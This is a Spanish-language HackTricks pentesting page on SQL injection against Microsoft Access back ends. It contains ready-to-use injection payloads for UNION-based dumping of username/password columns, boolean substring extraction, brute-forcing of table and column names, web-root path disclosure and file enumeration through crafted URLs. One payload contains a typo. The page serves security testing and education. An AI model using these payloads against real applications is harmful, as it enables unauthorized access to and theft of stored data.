hacktricks/pentesting-web/sql-injection/ms-access-sql-injection.md

195 lines
10 KiB
Markdown
Raw Normal View History

# Inyección SQL de MS Access
2023-06-05 20:33:24 +02:00
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2023-06-05 20:33:24 +02:00
<details>
2023-06-05 20:33:24 +02:00
<summary>Apoya a HackTricks</summary>
2023-06-05 20:33:24 +02:00
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
2023-06-05 20:33:24 +02:00
</details>
{% endhint %}
2023-06-05 20:33:24 +02:00
## Playground en Línea
2023-06-05 20:33:24 +02:00
* [https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1)
## Limitaciones de la DB
2023-06-05 20:33:24 +02:00
### Concatenación de Cadenas
2023-06-05 20:33:24 +02:00
La concatenación de cadenas es posible con los caracteres `& (%26)` y `+ (%2b)`.
```sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
```
### Comentarios
No hay comentarios en MS Access, pero aparentemente es posible eliminar el último de una consulta con un carácter NULL:
2023-06-05 20:33:24 +02:00
```sql
1' union select 1,2 from table%00
```
Si esto no funciona, siempre podrías corregir la sintaxis de la consulta:
2023-06-05 20:33:24 +02:00
```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```
### Consultas Apiladas
2023-06-05 20:33:24 +02:00
No son compatibles.
### LIMIT
El operador **`LIMIT`** **no está implementado**. Sin embargo, es posible limitar los resultados de la consulta SELECT a las **primeras N filas de la tabla utilizando el operador `TOP`**. `TOP` acepta como argumento un entero, que representa el número de filas que se devolverán.
2023-06-05 20:33:24 +02:00
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
Justo como TOP, puedes usar **`LAST`** que obtendrá las **filas desde el final**.
2023-06-05 20:33:24 +02:00
## Consultas UNION/Subconsultas
2023-06-05 20:33:24 +02:00
En un SQLi, generalmente querrás ejecutar de alguna manera una nueva consulta para extraer información de otras tablas. MS Access siempre requiere que en **subconsultas o consultas adicionales se indique un `FROM`**.\
Así que, si deseas ejecutar un `UNION SELECT` o `UNION ALL SELECT` o un `SELECT` entre paréntesis en una condición, siempre **necesitas indicar un `FROM` con un nombre de tabla válido**.\
Por lo tanto, necesitas conocer un **nombre de tabla válido**.
2023-06-05 20:33:24 +02:00
```sql
-1' UNION SELECT username,password from users%00
```
### Chaining equals + Substring
2023-06-05 20:33:24 +02:00
{% hint style="warning" %}
Esto te permitirá exfiltrar valores de la tabla actual sin necesidad de conocer el nombre de la tabla.
2023-06-05 20:33:24 +02:00
{% endhint %}
**MS Access** permite **sintaxis extraña** como **`'1'=2='3'='asd'=false`**. Como suele ser, la inyección SQL estará dentro de una cláusula **`WHERE`**, por lo que podemos abusar de eso.
2023-06-05 20:33:24 +02:00
Imagina que tienes una SQLi en una base de datos de MS Access y sabes (o adivinaste) que un **nombre de columna es username**, y ese es el campo que quieres **exfiltrar**. Podrías comprobar las diferentes respuestas de la aplicación web cuando se utiliza la técnica de chaining equals y potencialmente exfiltrar contenido con una **inyección booleana** usando la función **`Mid`** para obtener subcadenas.
2023-06-05 20:33:24 +02:00
```sql
'=(Mid(username,1,3)='adm')='
```
Si conoces el **nombre de la tabla** y **columna** para volcar, puedes usar una combinación entre `Mid`, `LAST` y `TOP` para **filtrar toda la información** a través de SQLi booleano:
2023-06-05 20:33:24 +02:00
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
_Feel free to check this in the online playground._
### Fuerza bruta de nombres de tablas
2023-06-05 20:33:24 +02:00
Usando la técnica de encadenamiento de iguales, también puedes **fuerza bruta de nombres de tablas** con algo como:
2023-06-05 20:33:24 +02:00
```sql
'=(select+top+1+'lala'+from+<table_name>)='
```
También puedes usar una forma más tradicional:
2023-06-05 20:33:24 +02:00
```sql
-1' AND (SELECT TOP 1 <table_name>)%00
```
_Feel free to check this in the online playground._
2023-06-05 20:33:24 +02:00
* Nombres de tablas comunes de Sqlmap: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
2023-06-05 20:33:24 +02:00
* Hay otra lista en [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
### Fuerza Bruta de Nombres de Columnas
2023-06-05 20:33:24 +02:00
Puedes **forzar los nombres de columnas actuales** con el truco de encadenar iguales con:
2023-06-05 20:33:24 +02:00
```sql
'=column_name='
```
O con un **group by**:
```sql
-1' GROUP BY column_name%00
```
O puedes forzar los nombres de columna de una **tabla diferente** con:
2023-06-05 20:33:24 +02:00
```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
```
### Dumping data
2023-06-05 20:33:24 +02:00
Ya hemos discutido la [**técnica de encadenamiento de iguales**](ms-access-sql-injection.md#chaining-equals-+-substring) **para volcar datos de la tabla actual y otras tablas**. Pero hay otras maneras:
2023-06-05 20:33:24 +02:00
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
En resumen, la consulta utiliza una declaración "if-then" para activar un "200 OK" en caso de éxito o un "500 Internal Error" en caso contrario. Aprovechando el operador TOP 10, es posible seleccionar los primeros diez resultados. El uso posterior de LAST permite considerar solo la décima tupla. Con ese valor, utilizando el operador MID, es posible realizar una simple comparación de caracteres. Al cambiar adecuadamente el índice de MID y TOP, podemos volcar el contenido del campo "username" para todas las filas.
2023-06-05 20:33:24 +02:00
### Time Based
2023-06-05 20:33:24 +02:00
Consulta [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)
2023-06-05 20:33:24 +02:00
### Otras funciones interesantes
* `Mid('admin',1,1)` obtiene la subcadena desde la posición 1 de longitud 1 (la posición inicial es 1)
* `LEN('1234')` obtiene la longitud de la cadena
* `ASC('A')` obtiene el valor ascii del carácter
* `CHR(65)` obtiene la cadena del valor ascii
2023-06-05 20:33:24 +02:00
* `IIF(1=1,'a','b')` si entonces
* `COUNT(*)` cuenta el número de elementos
2023-06-05 20:33:24 +02:00
## Enumerando tablas
2023-06-05 20:33:24 +02:00
Desde [**aquí**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) puedes ver una consulta para obtener los nombres de las tablas:
2023-06-05 20:33:24 +02:00
```sql
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
2023-06-05 20:33:24 +02:00
order by MSysObjects.name
```
Sin embargo, ten en cuenta que es muy típico encontrar inyecciones SQL donde **no tienes acceso para leer la tabla `MSysObjects`**.
2023-06-05 20:33:24 +02:00
## Acceso al sistema de archivos
2023-06-05 20:33:24 +02:00
### Ruta completa del directorio raíz web
2023-06-05 20:33:24 +02:00
El conocimiento de la **ruta absoluta del directorio raíz web puede facilitar ataques posteriores**. Si los errores de la aplicación no están completamente ocultos, se puede descubrir la ruta del directorio intentando seleccionar datos de una base de datos inexistente.
2023-06-05 20:33:24 +02:00
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Access responde con un **mensaje de error que contiene la ruta completa del directorio web**.
### Enumeración de archivos
2023-06-05 20:33:24 +02:00
El siguiente vector de ataque se puede utilizar para **inferir la existencia de un archivo en el sistema de archivos remoto**. Si el archivo especificado existe, MS Access genera un mensaje de error informando que el formato de la base de datos es inválido:
2023-06-05 20:33:24 +02:00
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
Otra forma de enumerar archivos consiste en **especificar un elemento database.table**. **Si** el **archivo especificado existe**, MS Access muestra un **mensaje de error de formato de base de datos**.
2023-06-05 20:33:24 +02:00
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
### Adivinanza del nombre del archivo .mdb
2023-06-05 20:33:24 +02:00
El **nombre del archivo de base de datos (.mdb)** se puede inferir con la siguiente consulta:
2023-06-05 20:33:24 +02:00
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
Donde **name\[i] es un nombre de archivo .mdb** y **realTable es una tabla existente** dentro de la base de datos. Aunque MS Access siempre generará un mensaje de error, es posible distinguir entre un nombre de archivo inválido y un nombre de archivo .mdb válido.
2023-06-05 20:33:24 +02:00
### Cracker de contraseñas .mdb
2023-06-05 20:33:24 +02:00
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) es una utilidad gratuita que se puede utilizar para recuperar la contraseña principal de la base de datos de Microsoft Access 95/97/2000/XP o Jet Database Engine 3.0/4.0.
## Referencias
* [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}